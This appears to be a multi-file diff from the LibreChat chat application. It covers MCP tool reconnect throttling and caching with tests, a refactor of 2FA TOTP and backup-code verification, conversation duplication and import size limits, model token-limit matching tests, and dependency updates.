@ -720,4 +799,5 @@ module.exports = {
getMCPSetupData, getMCPSetupData,
checkOAuthFlowStatus, checkOAuthFlowStatus,
getServerConnectionStatus, getServerConnectionStatus,
createUnavailableToolStub,
}; };

View file

@ -45,6 +45,7 @@ const {
getMCPSetupData, getMCPSetupData,
checkOAuthFlowStatus, checkOAuthFlowStatus,
getServerConnectionStatus, getServerConnectionStatus,
createUnavailableToolStub,
} = require('./MCP'); } = require('./MCP');
jest.mock('./Config', () => ({ jest.mock('./Config', () => ({
@ -1098,6 +1099,188 @@ describe('User parameter passing tests', () => {
}); });
}); });
describe('createUnavailableToolStub', () => {
it('should return a tool whose _call returns a valid CONTENT_AND_ARTIFACT two-tuple', async () => {
const stub = createUnavailableToolStub('myTool', 'myServer');
// invoke() goes through langchain's base tool, which checks responseFormat.
// CONTENT_AND_ARTIFACT requires [content, artifact] — a bare string would throw:
// "Tool response format is "content_and_artifact" but the output was not a two-tuple"
const result = await stub.invoke({});
// If we reach here without throwing, the two-tuple format is correct.
// invoke() returns the content portion of [content, artifact] as a string.
expect(result).toContain('temporarily unavailable');
});
});
describe('negative tool cache and throttle interaction', () => {
it('should cache tool as missing even when throttled (cross-user dedup)', async () => {
const mockUser = { id: 'throttle-test-user' };
const mockRes = { write: jest.fn(), flush: jest.fn() };
// First call: reconnect succeeds but tool not found
mockReinitMCPServer.mockResolvedValueOnce({
availableTools: {},
});
await createMCPTool({
res: mockRes,
user: mockUser,
toolKey: `missing-tool${D}cache-dedup-server`,
provider: 'openai',
userMCPAuthMap: {},
availableTools: undefined,
});
// Second call within 10s for DIFFERENT tool on same server:
// reconnect is throttled (returns null), tool is still cached as missing.
// This is intentional: the cache acts as cross-user dedup since the
// throttle is per-user-per-server and can't prevent N different users
// from each triggering their own reconnect.
const result2 = await createMCPTool({
res: mockRes,
user: mockUser,
toolKey: `other-tool${D}cache-dedup-server`,
provider: 'openai',
userMCPAuthMap: {},
availableTools: undefined,
});
expect(result2).toBeDefined();
expect(result2.name).toContain('other-tool');
expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
});
it('should prevent user B from triggering reconnect when user A already cached the tool', async () => {
const userA = { id: 'cache-user-A' };
const userB = { id: 'cache-user-B' };
const mockRes = { write: jest.fn(), flush: jest.fn() };
// User A: real reconnect, tool not found → cached
mockReinitMCPServer.mockResolvedValueOnce({
availableTools: {},
});
await createMCPTool({
res: mockRes,
user: userA,
toolKey: `shared-tool${D}cross-user-server`,
provider: 'openai',
userMCPAuthMap: {},
availableTools: undefined,
});
expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
// User B requests the SAME tool within 10s.
// The negative cache is keyed by toolKey (no user prefix), so user B
// gets a cache hit and no reconnect fires. This is the cross-user
// storm protection: without this, user B's unthrottled first request
// would trigger a second reconnect to the same server.
const result = await createMCPTool({
res: mockRes,
user: userB,
toolKey: `shared-tool${D}cross-user-server`,
provider: 'openai',
userMCPAuthMap: {},
availableTools: undefined,
});
expect(result).toBeDefined();
expect(result.name).toContain('shared-tool');
// reinitMCPServer still called only once — user B hit the cache
expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
});
it('should prevent user B from triggering reconnect for throttle-cached tools', async () => {
const userA = { id: 'storm-user-A' };
const userB = { id: 'storm-user-B' };
const mockRes = { write: jest.fn(), flush: jest.fn() };
// User A: real reconnect for tool-1, tool not found → cached
mockReinitMCPServer.mockResolvedValueOnce({
availableTools: {},
});
await createMCPTool({
res: mockRes,
user: userA,
toolKey: `tool-1${D}storm-server`,
provider: 'openai',
userMCPAuthMap: {},
availableTools: undefined,
});
// User A: tool-2 on same server within 10s → throttled → cached from throttle
await createMCPTool({
res: mockRes,
user: userA,
toolKey: `tool-2${D}storm-server`,
provider: 'openai',
userMCPAuthMap: {},
availableTools: undefined,
});
expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
// User B requests tool-2 — gets cache hit from the throttle-cached entry.
// Without this caching, user B would trigger a real reconnect since
// user B has their own throttle key and hasn't reconnected yet.
const result = await createMCPTool({
res: mockRes,
user: userB,
toolKey: `tool-2${D}storm-server`,
provider: 'openai',
userMCPAuthMap: {},
availableTools: undefined,
});
expect(result).toBeDefined();
expect(result.name).toContain('tool-2');
// Still only 1 real reconnect — user B was protected by the cache
expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
});
});
describe('createMCPTools throttle handling', () => {
it('should return empty array with debug log when reconnect is throttled', async () => {
const mockUser = { id: 'throttle-tools-user' };
const mockRes = { write: jest.fn(), flush: jest.fn() };
// First call: real reconnect
mockReinitMCPServer.mockResolvedValueOnce({
tools: [{ name: 'tool1' }],
availableTools: {
[`tool1${D}throttle-tools-server`]: {
function: { description: 'Tool 1', parameters: {} },
},
},
});
await createMCPTools({
res: mockRes,
user: mockUser,
serverName: 'throttle-tools-server',
provider: 'openai',
userMCPAuthMap: {},
});
// Second call within 10s — throttled
const result = await createMCPTools({
res: mockRes,
user: mockUser,
serverName: 'throttle-tools-server',
provider: 'openai',
userMCPAuthMap: {},
});
expect(result).toEqual([]);
// reinitMCPServer called only once — second was throttled
expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
// Should log at debug level (not warn) for throttled case
expect(logger.debug).toHaveBeenCalledWith(expect.stringContaining('Reconnect throttled'));
});
});
describe('User parameter integrity', () => { describe('User parameter integrity', () => {
it('should preserve user object properties through the call chain', async () => { it('should preserve user object properties through the call chain', async () => {
const complexUser = { const complexUser = {

View file

@ -1,8 +1,8 @@
const { logger } = require('@librechat/data-schemas'); const { logger } = require('@librechat/data-schemas');
const { CacheKeys, Constants } = require('librechat-data-provider'); const { CacheKeys, Constants } = require('librechat-data-provider');
const { getMCPManager, getMCPServersRegistry, getFlowStateManager } = require('~/config');
const { findToken, createToken, updateToken, deleteTokens } = require('~/models'); const { findToken, createToken, updateToken, deleteTokens } = require('~/models');
const { updateMCPServerTools } = require('~/server/services/Config'); const { updateMCPServerTools } = require('~/server/services/Config');
const { getMCPManager, getFlowStateManager } = require('~/config');
const { getLogStores } = require('~/cache'); const { getLogStores } = require('~/cache');
/** /**
@ -41,6 +41,33 @@ async function reinitMCPServer({
let oauthUrl = null; let oauthUrl = null;
try { try {
const registry = getMCPServersRegistry();
const serverConfig = await registry.getServerConfig(serverName, user?.id);
if (serverConfig?.inspectionFailed) {
logger.info(
`[MCP Reinitialize] Server ${serverName} had failed inspection, attempting reinspection`,
);
try {
const storageLocation = serverConfig.dbId ? 'DB' : 'CACHE';
await registry.reinspectServer(serverName, storageLocation, user?.id);
logger.info(`[MCP Reinitialize] Reinspection succeeded for server: ${serverName}`);
} catch (reinspectError) {
logger.error(
`[MCP Reinitialize] Reinspection failed for server ${serverName}:`,
reinspectError,
);
return {
availableTools: null,
success: false,
message: `MCP server '${serverName}' is still unreachable`,
oauthRequired: false,
serverName,
oauthUrl: null,
tools: null,
};
}
}
const customUserVars = userMCPAuthMap?.[`${Constants.mcp_prefix}${serverName}`]; const customUserVars = userMCPAuthMap?.[`${Constants.mcp_prefix}${serverName}`];
const flowManager = _flowManager ?? getFlowStateManager(getLogStores(CacheKeys.FLOWS)); const flowManager = _flowManager ?? getFlowStateManager(getLogStores(CacheKeys.FLOWS));
const mcpManager = getMCPManager(); const mcpManager = getMCPManager();

View file

@ -153,9 +153,11 @@ const generateBackupCodes = async (count = 10) => {
* @param {Object} params * @param {Object} params
* @param {Object} params.user * @param {Object} params.user
* @param {string} params.backupCode * @param {string} params.backupCode
* @param {boolean} [params.persist=true] - Whether to persist the used-mark to the database.
* Pass `false` when the caller will immediately overwrite `backupCodes` (e.g. re-enrollment).
* @returns {Promise<boolean>} * @returns {Promise<boolean>}
*/ */
const verifyBackupCode = async ({ user, backupCode }) => { const verifyBackupCode = async ({ user, backupCode, persist = true }) => {
if (!backupCode || !user || !Array.isArray(user.backupCodes)) { if (!backupCode || !user || !Array.isArray(user.backupCodes)) {
return false; return false;
} }
@ -165,17 +167,50 @@ const verifyBackupCode = async ({ user, backupCode }) => {
(codeObj) => codeObj.codeHash === hashedInput && !codeObj.used, (codeObj) => codeObj.codeHash === hashedInput && !codeObj.used,
); );
if (matchingCode) { if (!matchingCode) {
return false;
}
if (persist) {
const updatedBackupCodes = user.backupCodes.map((codeObj) => const updatedBackupCodes = user.backupCodes.map((codeObj) =>
codeObj.codeHash === hashedInput && !codeObj.used codeObj.codeHash === hashedInput && !codeObj.used
? { ...codeObj, used: true, usedAt: new Date() } ? { ...codeObj, used: true, usedAt: new Date() }
: codeObj, : codeObj,
); );
// Update the user record with the marked backup code.
await updateUser(user._id, { backupCodes: updatedBackupCodes }); await updateUser(user._id, { backupCodes: updatedBackupCodes });
return true;
} }
return false; return true;
};
/**
* Verifies a user's identity via TOTP token or backup code.
* @param {Object} params
* @param {Object} params.user - The user document (must include totpSecret and backupCodes).
* @param {string} [params.token] - A 6-digit TOTP token.
* @param {string} [params.backupCode] - An 8-character backup code.
* @param {boolean} [params.persistBackupUse=true] - Whether to mark the backup code as used in the DB.
* @returns {Promise<{ verified: boolean, status?: number, message?: string }>}
*/
const verifyOTPOrBackupCode = async ({ user, token, backupCode, persistBackupUse = true }) => {
if (!token && !backupCode) {
return { verified: false, status: 400 };
}
if (token) {
const secret = await getTOTPSecret(user.totpSecret);
if (!secret) {
return { verified: false, status: 400, message: '2FA secret is missing or corrupted' };
}
const ok = await verifyTOTP(secret, token);
return ok
? { verified: true }
: { verified: false, status: 401, message: 'Invalid token or backup code' };
}
const ok = await verifyBackupCode({ user, backupCode, persist: persistBackupUse });
return ok
? { verified: true }
: { verified: false, status: 401, message: 'Invalid token or backup code' };
}; };
/** /**
@ -213,11 +248,12 @@ const generate2FATempToken = (userId) => {
}; };
module.exports = { module.exports = {
generateTOTPSecret, verifyOTPOrBackupCode,
generateTOTP, generate2FATempToken,
verifyTOTP,
generateBackupCodes, generateBackupCodes,
generateTOTPSecret,
verifyBackupCode, verifyBackupCode,
getTOTPSecret, getTOTPSecret,
generate2FATempToken, generateTOTP,
verifyTOTP,
}; };

View file

@ -358,16 +358,15 @@ function splitAtTargetLevel(messages, targetMessageId) {
* @param {object} params - The parameters for duplicating the conversation. * @param {object} params - The parameters for duplicating the conversation.
* @param {string} params.userId - The ID of the user duplicating the conversation. * @param {string} params.userId - The ID of the user duplicating the conversation.
* @param {string} params.conversationId - The ID of the conversation to duplicate. * @param {string} params.conversationId - The ID of the conversation to duplicate.
* @param {string} [params.title] - Optional title override for the duplicate.
* @returns {Promise<{ conversation: TConversation, messages: TMessage[] }>} The duplicated conversation and messages. * @returns {Promise<{ conversation: TConversation, messages: TMessage[] }>} The duplicated conversation and messages.
*/ */
async function duplicateConversation({ userId, conversationId }) { async function duplicateConversation({ userId, conversationId, title }) {
// Get original conversation
const originalConvo = await getConvo(userId, conversationId); const originalConvo = await getConvo(userId, conversationId);
if (!originalConvo) { if (!originalConvo) {
throw new Error('Conversation not found'); throw new Error('Conversation not found');
} }
// Get original messages
const originalMessages = await getMessages({ const originalMessages = await getMessages({
user: userId, user: userId,
conversationId, conversationId,
@ -383,14 +382,11 @@ async function duplicateConversation({ userId, conversationId }) {
cloneMessagesWithTimestamps(messagesToClone, importBatchBuilder); cloneMessagesWithTimestamps(messagesToClone, importBatchBuilder);
const result = importBatchBuilder.finishConversation( const duplicateTitle = title || originalConvo.title;
originalConvo.title, const result = importBatchBuilder.finishConversation(duplicateTitle, new Date(), originalConvo);
new Date(),
originalConvo,
);
await importBatchBuilder.saveBatch(); await importBatchBuilder.saveBatch();
logger.debug( logger.debug(
`user: ${userId} | New conversation "${originalConvo.title}" duplicated from conversation ID ${conversationId}`, `user: ${userId} | New conversation "${duplicateTitle}" duplicated from conversation ID ${conversationId}`,
); );
const conversation = await getConvo(userId, result.conversation.conversationId); const conversation = await getConvo(userId, result.conversation.conversationId);

View file

@ -1,7 +1,10 @@
const fs = require('fs').promises; const fs = require('fs').promises;
const { resolveImportMaxFileSize } = require('@librechat/api');
const { logger } = require('@librechat/data-schemas'); const { logger } = require('@librechat/data-schemas');
const { getImporter } = require('./importers'); const { getImporter } = require('./importers');
const maxFileSize = resolveImportMaxFileSize();
/** /**
* Job definition for importing a conversation. * Job definition for importing a conversation.
* @param {{ filepath, requestUserId }} job - The job object. * @param {{ filepath, requestUserId }} job - The job object.
@ -11,11 +14,10 @@ const importConversations = async (job) => {
try { try {
logger.debug(`user: ${requestUserId} | Importing conversation(s) from file...`); logger.debug(`user: ${requestUserId} | Importing conversation(s) from file...`);
/* error if file is too large */
const fileInfo = await fs.stat(filepath); const fileInfo = await fs.stat(filepath);
if (fileInfo.size > process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES) { if (fileInfo.size > maxFileSize) {
throw new Error( throw new Error(
`File size is ${fileInfo.size} bytes. It exceeds the maximum limit of ${process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES} bytes.`, `File size is ${fileInfo.size} bytes. It exceeds the maximum limit of ${maxFileSize} bytes.`,
); );
} }

View file

@ -1,5 +1,4 @@
// --- Mocks --- // --- Mocks ---
jest.mock('tiktoken');
jest.mock('fs'); jest.mock('fs');
jest.mock('path'); jest.mock('path');
jest.mock('node-fetch'); jest.mock('node-fetch');

View file

@ -214,6 +214,25 @@ describe('getModelMaxTokens', () => {
); );
}); });
test('should return correct tokens for gpt-5.4 matches', () => {
expect(getModelMaxTokens('gpt-5.4')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.4']);
expect(getModelMaxTokens('gpt-5.4-thinking')).toBe(
maxTokensMap[EModelEndpoint.openAI]['gpt-5.4'],
);
expect(getModelMaxTokens('openai/gpt-5.4')).toBe(
maxTokensMap[EModelEndpoint.openAI]['gpt-5.4'],
);
});
test('should return correct tokens for gpt-5.4-pro matches', () => {
expect(getModelMaxTokens('gpt-5.4-pro')).toBe(
maxTokensMap[EModelEndpoint.openAI]['gpt-5.4-pro'],
);
expect(getModelMaxTokens('openai/gpt-5.4-pro')).toBe(
maxTokensMap[EModelEndpoint.openAI]['gpt-5.4-pro'],
);
});
test('should return correct tokens for Anthropic models', () => { test('should return correct tokens for Anthropic models', () => {
const models = [ const models = [
'claude-2.1', 'claude-2.1',
@ -251,16 +270,6 @@ describe('getModelMaxTokens', () => {
}); });
}); });
// Tests for Google models
test('should return correct tokens for exact match - Google models', () => {
expect(getModelMaxTokens('text-bison-32k', EModelEndpoint.google)).toBe(
maxTokensMap[EModelEndpoint.google]['text-bison-32k'],
);
expect(getModelMaxTokens('codechat-bison-32k', EModelEndpoint.google)).toBe(
maxTokensMap[EModelEndpoint.google]['codechat-bison-32k'],
);
});
test('should return undefined for no match - Google models', () => { test('should return undefined for no match - Google models', () => {
expect(getModelMaxTokens('unknown-google-model', EModelEndpoint.google)).toBeUndefined(); expect(getModelMaxTokens('unknown-google-model', EModelEndpoint.google)).toBeUndefined();
}); });
@ -317,12 +326,6 @@ describe('getModelMaxTokens', () => {
expect(getModelMaxTokens('gemini-pro', EModelEndpoint.google)).toBe( expect(getModelMaxTokens('gemini-pro', EModelEndpoint.google)).toBe(
maxTokensMap[EModelEndpoint.google]['gemini'], maxTokensMap[EModelEndpoint.google]['gemini'],
); );
expect(getModelMaxTokens('code-', EModelEndpoint.google)).toBe(
maxTokensMap[EModelEndpoint.google]['code-'],
);
expect(getModelMaxTokens('chat-', EModelEndpoint.google)).toBe(
maxTokensMap[EModelEndpoint.google]['chat-'],
);
}); });
test('should return correct tokens for partial match - Cohere models', () => { test('should return correct tokens for partial match - Cohere models', () => {
@ -511,6 +514,8 @@ describe('getModelMaxTokens', () => {
'gpt-5.1', 'gpt-5.1',
'gpt-5.2', 'gpt-5.2',
'gpt-5.3', 'gpt-5.3',
'gpt-5.4',
'gpt-5.4-pro',
'gpt-5-mini', 'gpt-5-mini',
'gpt-5-nano', 'gpt-5-nano',
'gpt-5-pro', 'gpt-5-pro',
@ -541,6 +546,184 @@ describe('getModelMaxTokens', () => {
}); });
}); });
describe('findMatchingPattern - longest match wins', () => {
test('should prefer longer matching key over shorter cross-provider pattern', () => {
const result = findMatchingPattern(
'gpt-5.2-chat-2025-12-11',
maxTokensMap[EModelEndpoint.openAI],
);
expect(result).toBe('gpt-5.2');
});
test('should match gpt-5.2 tokens for date-suffixed chat variant', () => {
expect(getModelMaxTokens('gpt-5.2-chat-2025-12-11')).toBe(
maxTokensMap[EModelEndpoint.openAI]['gpt-5.2'],
);
});
test('should match gpt-5.2-pro over shorter patterns', () => {
expect(getModelMaxTokens('gpt-5.2-pro-chat-2025-12-11')).toBe(
maxTokensMap[EModelEndpoint.openAI]['gpt-5.2-pro'],
);
});
test('should match gpt-5-mini over gpt-5 for mini variants', () => {
expect(getModelMaxTokens('gpt-5-mini-chat-2025-01-01')).toBe(
maxTokensMap[EModelEndpoint.openAI]['gpt-5-mini'],
);
});
test('should prefer gpt-4-1106 over gpt-4 for versioned model names', () => {
const result = findMatchingPattern('gpt-4-1106-preview', maxTokensMap[EModelEndpoint.openAI]);
expect(result).toBe('gpt-4-1106');
});
test('should prefer gpt-4-32k-0613 over gpt-4-32k for exact versioned names', () => {
const result = findMatchingPattern('gpt-4-32k-0613', maxTokensMap[EModelEndpoint.openAI]);
expect(result).toBe('gpt-4-32k-0613');
});
test('should prefer claude-3-5-sonnet over claude-3', () => {
const result = findMatchingPattern(
'claude-3-5-sonnet-20241022',
maxTokensMap[EModelEndpoint.anthropic],
);
expect(result).toBe('claude-3-5-sonnet');
});
test('should prefer gemini-2.0-flash-lite over gemini-2.0-flash', () => {
const result = findMatchingPattern(
'gemini-2.0-flash-lite-preview',
maxTokensMap[EModelEndpoint.google],
);
expect(result).toBe('gemini-2.0-flash-lite');
});
});
describe('findMatchingPattern - bestLength selection', () => {
test('should return the longest matching key when multiple keys match', () => {
const tokensMap = { short: 100, 'short-med': 200, 'short-med-long': 300 };
expect(findMatchingPattern('short-med-long-extra', tokensMap)).toBe('short-med-long');
});
test('should return the longest match regardless of key insertion order', () => {
const tokensMap = { 'a-b-c': 300, a: 100, 'a-b': 200 };
expect(findMatchingPattern('a-b-c-d', tokensMap)).toBe('a-b-c');
});
test('should return null when no key matches', () => {
const tokensMap = { alpha: 100, beta: 200 };
expect(findMatchingPattern('gamma-delta', tokensMap)).toBeNull();
});
test('should return the single matching key when only one matches', () => {
const tokensMap = { alpha: 100, beta: 200, gamma: 300 };
expect(findMatchingPattern('beta-extended', tokensMap)).toBe('beta');
});
test('should match case-insensitively against model name', () => {
const tokensMap = { 'gpt-5': 400000 };
expect(findMatchingPattern('GPT-5-turbo', tokensMap)).toBe('gpt-5');
});
test('should select the longest key among overlapping substring matches', () => {
const tokensMap = { 'gpt-': 100, 'gpt-5': 200, 'gpt-5.2': 300, 'gpt-5.2-pro': 400 };
expect(findMatchingPattern('gpt-5.2-pro-2025-01-01', tokensMap)).toBe('gpt-5.2-pro');
expect(findMatchingPattern('gpt-5.2-chat-2025-01-01', tokensMap)).toBe('gpt-5.2');
expect(findMatchingPattern('gpt-5.1-preview', tokensMap)).toBe('gpt-5');
expect(findMatchingPattern('gpt-unknown', tokensMap)).toBe('gpt-');
});
test('should not be confused by a short key that appears later in the model name', () => {
const tokensMap = { 'model-v2': 200, v2: 100 };
expect(findMatchingPattern('model-v2-extended', tokensMap)).toBe('model-v2');
});
test('should handle exact-length match as the best match', () => {
const tokensMap = { 'exact-model': 500, exact: 100 };
expect(findMatchingPattern('exact-model', tokensMap)).toBe('exact-model');
});
test('should return null for empty model name', () => {
expect(findMatchingPattern('', { 'gpt-5': 400000 })).toBeNull();
});
test('should prefer last-defined key on same-length ties', () => {
const tokensMap = { 'aa-bb': 100, 'cc-dd': 200 };
// model name contains both 5-char keys; last-defined wins in reverse iteration
expect(findMatchingPattern('aa-bb-cc-dd', tokensMap)).toBe('cc-dd');
});
test('longest match beats short cross-provider pattern even when both present', () => {
const tokensMap = { 'gpt-5.2': 400000, 'chat-': 8187 };
expect(findMatchingPattern('gpt-5.2-chat-2025-12-11', tokensMap)).toBe('gpt-5.2');
});
test('should match case-insensitively against keys', () => {
const tokensMap = { 'GPT-5': 400000 };
expect(findMatchingPattern('gpt-5-turbo', tokensMap)).toBe('GPT-5');
});
});
describe('findMatchingPattern - iteration performance', () => {
let includesSpy;
beforeEach(() => {
includesSpy = jest.spyOn(String.prototype, 'includes');
});
afterEach(() => {
includesSpy.mockRestore();
});
test('exact match early-exits with minimal includes() checks', () => {
const openAIMap = maxTokensMap[EModelEndpoint.openAI];
const keys = Object.keys(openAIMap);
const lastKey = keys[keys.length - 1];
includesSpy.mockClear();
const result = findMatchingPattern(lastKey, openAIMap);
const exactCalls = includesSpy.mock.calls.length;
expect(result).toBe(lastKey);
expect(exactCalls).toBe(1);
});
test('bestLength check skips includes() for shorter keys after a long match', () => {
const openAIMap = maxTokensMap[EModelEndpoint.openAI];
includesSpy.mockClear();
findMatchingPattern('gpt-3.5-turbo-0301-test', openAIMap);
const longKeyCalls = includesSpy.mock.calls.length;
includesSpy.mockClear();
findMatchingPattern('gpt-5.3-chat-latest', openAIMap);
const shortKeyCalls = includesSpy.mock.calls.length;
// gpt-3.5-turbo-0301 (20 chars) matches early, then bestLength prunes most keys
// gpt-5.3 (7 chars) is short, so fewer keys are pruned by the length check
expect(longKeyCalls).toBeLessThan(shortKeyCalls);
});
test('last-defined keys are checked first in reverse iteration', () => {
const tokensMap = { first: 100, second: 200, third: 300 };
includesSpy.mockClear();
const result = findMatchingPattern('third', tokensMap);
const calls = includesSpy.mock.calls.length;
// 'third' is last key, found on first reverse check, exact match exits immediately
expect(result).toBe('third');
expect(calls).toBe(1);
});
});
describe('deprecated PaLM2/Codey model removal', () => {
test('deprecated PaLM2/Codey models no longer have token entries', () => {
expect(getModelMaxTokens('text-bison-32k', EModelEndpoint.google)).toBeUndefined();
expect(getModelMaxTokens('codechat-bison-32k', EModelEndpoint.google)).toBeUndefined();
expect(getModelMaxTokens('code-bison', EModelEndpoint.google)).toBeUndefined();
expect(getModelMaxTokens('chat-bison', EModelEndpoint.google)).toBeUndefined();
});
});
describe('matchModelName', () => { describe('matchModelName', () => {
it('should return the exact model name if it exists in maxTokensMap', () => { it('should return the exact model name if it exists in maxTokensMap', () => {
expect(matchModelName('gpt-4-32k-0613')).toBe('gpt-4-32k-0613'); expect(matchModelName('gpt-4-32k-0613')).toBe('gpt-4-32k-0613');
@ -642,10 +825,10 @@ describe('matchModelName', () => {
expect(matchModelName('gpt-5.3-2025-03-01')).toBe('gpt-5.3'); expect(matchModelName('gpt-5.3-2025-03-01')).toBe('gpt-5.3');
}); });
// Tests for Google models it('should return the closest matching key for gpt-5.4 matches', () => {
it('should return the exact model name if it exists in maxTokensMap - Google models', () => { expect(matchModelName('openai/gpt-5.4')).toBe('gpt-5.4');
expect(matchModelName('text-bison-32k', EModelEndpoint.google)).toBe('text-bison-32k'); expect(matchModelName('gpt-5.4-thinking')).toBe('gpt-5.4');
expect(matchModelName('codechat-bison-32k', EModelEndpoint.google)).toBe('codechat-bison-32k'); expect(matchModelName('gpt-5.4-pro')).toBe('gpt-5.4-pro');
}); });
it('should return the input model name if no match is found - Google models', () => { it('should return the input model name if no match is found - Google models', () => {
@ -653,11 +836,6 @@ describe('matchModelName', () => {
'unknown-google-model', 'unknown-google-model',
); );
}); });
it('should return the closest matching key for partial matches - Google models', () => {
expect(matchModelName('code-', EModelEndpoint.google)).toBe('code-');
expect(matchModelName('chat-', EModelEndpoint.google)).toBe('chat-');
});
}); });
describe('Meta Models Tests', () => { describe('Meta Models Tests', () => {

4216
bun.lock

File diff suppressed because it is too large Load diff

View file

@ -1,4 +1,4 @@
/** v0.8.3-rc2 */ /** v0.8.3 */
module.exports = { module.exports = {
roots: ['<rootDir>/src'], roots: ['<rootDir>/src'],
testEnvironment: 'jsdom', testEnvironment: 'jsdom',
@ -32,6 +32,7 @@ module.exports = {
'^librechat-data-provider/react-query$': '^librechat-data-provider/react-query$':
'<rootDir>/../node_modules/librechat-data-provider/src/react-query', '<rootDir>/../node_modules/librechat-data-provider/src/react-query',
}, },
maxWorkers: '50%',
restoreMocks: true, restoreMocks: true,
testResultsProcessor: 'jest-junit', testResultsProcessor: 'jest-junit',
coverageReporters: ['text', 'cobertura', 'lcov'], coverageReporters: ['text', 'cobertura', 'lcov'],

View file

@ -1,6 +1,6 @@
{ {
"name": "@librechat/frontend", "name": "@librechat/frontend",
"version": "v0.8.3-rc2", "version": "v0.8.3",
"description": "", "description": "",
"type": "module", "type": "module",
"scripts": { "scripts": {
@ -38,6 +38,7 @@
"@librechat/client": "*", "@librechat/client": "*",
"@marsidev/react-turnstile": "^1.1.0", "@marsidev/react-turnstile": "^1.1.0",
"@mcp-ui/client": "^5.7.0", "@mcp-ui/client": "^5.7.0",
"@monaco-editor/react": "^4.7.0",
"@radix-ui/react-accordion": "^1.1.2", "@radix-ui/react-accordion": "^1.1.2",
"@radix-ui/react-alert-dialog": "1.0.2", "@radix-ui/react-alert-dialog": "1.0.2",
"@radix-ui/react-checkbox": "^1.0.3", "@radix-ui/react-checkbox": "^1.0.3",
@ -80,7 +81,7 @@
"lodash": "^4.17.23", "lodash": "^4.17.23",
"lucide-react": "^0.394.0", "lucide-react": "^0.394.0",
"match-sorter": "^8.1.0", "match-sorter": "^8.1.0",
"mermaid": "^11.12.3", "mermaid": "^11.13.0",
"micromark-extension-llm-math": "^3.1.0", "micromark-extension-llm-math": "^3.1.0",
"qrcode.react": "^4.2.0", "qrcode.react": "^4.2.0",
"rc-input-number": "^7.4.2", "rc-input-number": "^7.4.2",
@ -93,7 +94,6 @@
"react-gtm-module": "^2.0.11", "react-gtm-module": "^2.0.11",
"react-hook-form": "^7.43.9", "react-hook-form": "^7.43.9",
"react-i18next": "^15.4.0", "react-i18next": "^15.4.0",
"react-lazy-load-image-component": "^1.6.0",
"react-markdown": "^9.0.1", "react-markdown": "^9.0.1",
"react-resizable-panels": "^3.0.6", "react-resizable-panels": "^3.0.6",
"react-router-dom": "^6.30.3", "react-router-dom": "^6.30.3",
@ -122,6 +122,7 @@
"@babel/preset-env": "^7.22.15", "@babel/preset-env": "^7.22.15",
"@babel/preset-react": "^7.22.15", "@babel/preset-react": "^7.22.15",
"@babel/preset-typescript": "^7.22.15", "@babel/preset-typescript": "^7.22.15",
"@happy-dom/jest-environment": "^20.8.3",
"@tanstack/react-query-devtools": "^4.29.0", "@tanstack/react-query-devtools": "^4.29.0",
"@testing-library/dom": "^9.3.0", "@testing-library/dom": "^9.3.0",
"@testing-library/jest-dom": "^5.16.5", "@testing-library/jest-dom": "^5.16.5",
@ -144,9 +145,10 @@
"identity-obj-proxy": "^3.0.0", "identity-obj-proxy": "^3.0.0",
"jest": "^30.2.0", "jest": "^30.2.0",
"jest-canvas-mock": "^2.5.2", "jest-canvas-mock": "^2.5.2",
"jest-environment-jsdom": "^29.7.0", "jest-environment-jsdom": "^30.2.0",
"jest-file-loader": "^1.0.3", "jest-file-loader": "^1.0.3",
"jest-junit": "^16.0.0", "jest-junit": "^16.0.0",
"monaco-editor": "^0.55.1",
"postcss": "^8.4.31", "postcss": "^8.4.31",
"postcss-preset-env": "^11.2.0", "postcss-preset-env": "^11.2.0",
"tailwindcss": "^3.4.1", "tailwindcss": "^3.4.1",

View file

@ -1,7 +1,8 @@
import React, { createContext, useContext, useMemo } from 'react'; import React, { createContext, useContext, useMemo } from 'react';
import { useRecoilValue } from 'recoil';
import type { TMessage } from 'librechat-data-provider'; import type { TMessage } from 'librechat-data-provider';
import { useChatContext } from './ChatContext';
import { getLatestText } from '~/utils'; import { getLatestText } from '~/utils';
import store from '~/store';
export interface ArtifactsContextValue { export interface ArtifactsContextValue {
isSubmitting: boolean; isSubmitting: boolean;
@ -18,27 +19,28 @@ interface ArtifactsProviderProps {
} }
export function ArtifactsProvider({ children, value }: ArtifactsProviderProps) { export function ArtifactsProvider({ children, value }: ArtifactsProviderProps) {
const { isSubmitting, latestMessage, conversation } = useChatContext(); const isSubmitting = useRecoilValue(store.isSubmittingFamily(0));
const latestMessage = useRecoilValue(store.latestMessageFamily(0));
const conversationId = useRecoilValue(store.conversationIdByIndex(0));
const chatLatestMessageText = useMemo(() => { const chatLatestMessageText = useMemo(() => {
return getLatestText({ return getLatestText({
messageId: latestMessage?.messageId ?? null,
text: latestMessage?.text ?? null, text: latestMessage?.text ?? null,
content: latestMessage?.content ?? null, content: latestMessage?.content ?? null,
messageId: latestMessage?.messageId ?? null,
} as TMessage); } as TMessage);
}, [latestMessage?.messageId, latestMessage?.text, latestMessage?.content]); }, [latestMessage?.messageId, latestMessage?.text, latestMessage?.content]);
const defaultContextValue = useMemo<ArtifactsContextValue>( const defaultContextValue = useMemo<ArtifactsContextValue>(
() => ({ () => ({
isSubmitting, isSubmitting,
conversationId: conversationId ?? null,
latestMessageText: chatLatestMessageText, latestMessageText: chatLatestMessageText,
latestMessageId: latestMessage?.messageId ?? null, latestMessageId: latestMessage?.messageId ?? null,
conversationId: conversation?.conversationId ?? null,
}), }),
[isSubmitting, chatLatestMessageText, latestMessage?.messageId, conversation?.conversationId], [isSubmitting, chatLatestMessageText, latestMessage?.messageId, conversationId],
); );
/** Context value only created when relevant values change */
const contextValue = useMemo<ArtifactsContextValue>( const contextValue = useMemo<ArtifactsContextValue>(
() => (value ? { ...defaultContextValue, ...value } : defaultContextValue), () => (value ? { ...defaultContextValue, ...value } : defaultContextValue),
[defaultContextValue, value], [defaultContextValue, value],

View file

@ -1,5 +1,5 @@
import React, { createContext, useContext, useMemo } from 'react'; import React, { createContext, useContext, useMemo } from 'react';
import { getEndpointField, isAgentsEndpoint } from 'librechat-data-provider'; import { isAgentsEndpoint, resolveEndpointType } from 'librechat-data-provider';
